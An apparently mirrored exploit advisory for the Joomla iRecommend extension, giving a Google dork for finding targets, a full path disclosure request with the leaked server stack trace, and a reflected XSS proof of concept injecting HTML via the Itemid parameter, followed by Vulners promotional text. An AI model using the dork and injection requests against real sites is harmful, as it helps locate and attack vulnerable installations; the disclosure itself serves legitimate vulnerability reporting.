#Title: Joomla iRecommend - XSS & FPD
#Version: >= 3.0 (Latest ATM)
#Demo: joomla-demo.fok.com.br
#About: extensions.joomla.org/extensions/content-sharing/bookmark-a-recommend/13584
#Dork: inurl:com_irecommend OR inurl:irecommend
#Date: 01.24.2014
#Contant: smash[at]devilteam.pl
1. Full Path Disclosure - Recommend to a friend
Request:
GET /index.php?option=com_irecommend&content_title=<>666&content_url=<>666&tmpl=component HTTP/1.1
Host: demo.idealextensions.com
Response:
HTTP/1.1 200 OK
Date: Fri, 24 Jan 2014 14:20:25 GMT
Server: Apache mod_fcgid/2.3.6
X-Powered-By: PHP/5.3.25
X-Mod-Pagespeed: 1.3.25.4-2941
Vary: Accept-Encoding
Cache-Control: max-age=0, no-cache
Content-Length: 1023
Keep-Alive: timeout=1, max=1000
Connection: Keep-Alive
Content-Type: text/html
<br/>
<b>Fatal error</b>: Uncaught exception 'InvalidArgumentException' with message 'Invalid URI detected.' in /home/ideal/public_html/_users/demo/libraries/joomla/environment/uri.php:194
Stack trace:
#0 /home/ideal/public_html/_users/demo/libraries/joomla/factory.php(503): JURI::getInstance('SERVER')
#1 /home/ideal/public_html/_users/demo/plugins/system/languagefilter/languagefilter.php(69): JFactory::getURI()
#2 /home/ideal/public_html/_users/demo/libraries/joomla/plugin/helper.php(194): plgSystemLanguageFilter->__construct(Object(JDispatcher), Array)
#3 /home/ideal/public_html/_users/demo/libraries/joomla/plugin/helper.php(125): JPluginHelper::_import(Object(stdClass), true, NULL)
#4 /home/ideal/public_html/_users/demo/includes/application.php(61): JPluginHelper::importPlugin('system', 'languagefilter')
#5 /home/ideal/public_html/_users/demo/index.php(30): JSite->initialise()
#6 {main}
thrown in <b>/home/ideal/public_html/_users/demo/libraries/joomla/environment/uri.php</b> on line <b>194</b><br/>
2. Cross Site Scripting - Recommend to a friend
Vulnerable GET parameters:
- id
- catid
- Itemid
Example request:
demo.idealextensions.com/index.php/en/?option=com_moofaq&view=article&id=10:content&catid=21:components&Itemid=117"><h1>SUP?</h1><!--
Now, click 'Recommend to a friend' button. SUP? will appear because of injection:
<input type="hidden" name="content_url" value="http://demo.idealextensions.com/index.php/en/?option=com_moofaq&view=article&id=10:content&catid=21:components&Itemid=117"><h1>SUP?</h1><!--" /></form></div>
# 0day.today [2018-02-16] #Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation